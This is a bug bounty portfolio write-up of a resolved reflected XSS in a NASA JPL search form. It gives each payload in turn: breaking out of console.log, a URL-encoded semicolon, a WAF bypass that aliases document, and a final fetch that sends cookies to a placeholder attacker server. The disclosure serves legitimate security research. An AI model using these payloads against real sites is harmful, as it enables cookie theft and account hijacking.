ConnorDev | Bug Bounty Portfolio

Search Form XSS Cookie Exfiltration with WAF Bypass

National Aeronautics and Space Administration Jet Propulsion Laboratory (NASA JPL)

🔍 Search Anything

As with any bug bounty program, the first thing we did was use the page as any normal user would. The search field stood out at first glance, so we decided to try it out.

https://[REDACTED].nasa.gov/search.htm?search=pwn

This is where we realized that the value we were adding was reflected on the website.

Search Normal

We decided to carefully inspect the website's source code and realized that our input was inside a console.log() function.

Search Normal Result

🛡️ Tag <script> Disallowed

We ran some basic tests that are performed to try to detect XSS attacks:

<script>alert(1)</script>

All we got was that the Web Application Firewall (WAF) rejected our requests at the slightest sign of malicious activity.

Blocked by WAF

🔧 Close Javascript console.log String

Building on our initial discovery, we decided to try closing console.log() to insert code right after it using the following payload:

pwn');

We inserted ') immediately after a string of text, which is what JavaScript needed to close console.log(). However, the semicolon symbol ; was not being displayed.

Closing console.log

🧩 Append Javascript (Not Working)

pwn');alert(1)

We tried again, but with some text after the semicolon. After several tests, we couldn't get the semicolon to appear. Worse still, everything after the semicolon didn't even appear in the text.

Where is semicolon

🧱 Append Javascript (Bypass)

To make it work and start injecting code, we had to encode the semicolon in HTML format, changing it from ; to %3b.

pwn')%3balert(1)
Bypass Semicolon

💥 First Alert (Working)

Although the WAF did not accept the <script> tag, we managed to get it to render the </script> tag, which was enough to carry out a REFLECTED XSS attack.

pwn')%3balert(1)</script>;//
Alert 1 Alert 1 HTML

🚫 Second Alert (Firewall Blocks)

Once we had managed to execute an alert() on the web page, we wanted to go further and attempt to read a user's cookies. The WAF continued to reject our requests as soon as it detected suspicious strings such as document.cookie.

pwn')%3balert(document.cookie)</script>;//
Blocked by WAF

🕵️ Firewall Bypass for Cookies

The WAF rejected strings like document.cookie. To achieve an effective WAF bypass, we created a variable a that contained document, and we requested cookie from that variable.

pwn')%3ba=document%3balert(a.cookie)</script>;//
Document Cookie Alert Document Cookie Result

🚀 Final Exploit (Cookies Exfiltration)

Instead of executing alert, we executed fetch to sending a request to a server controlled by the attacker.

pwn');a=document;fetch('https://ATTACKER_SERVER/s='+a.cookie)</script>//
Final Exploit Exfiltration Request

📜 Official Recognition

📥 Download Official Letter (PDF)

🤝 Collaboration Details

This research was conducted in a joint effort with the following researchers:

Iván Córcoles Martínez
Diego García Ayala
Status
Resolved
Severity
Medium

Verification

Submission ID
4b01725e-288b-4db5-a38c-1a37f827d215
Zoomed Image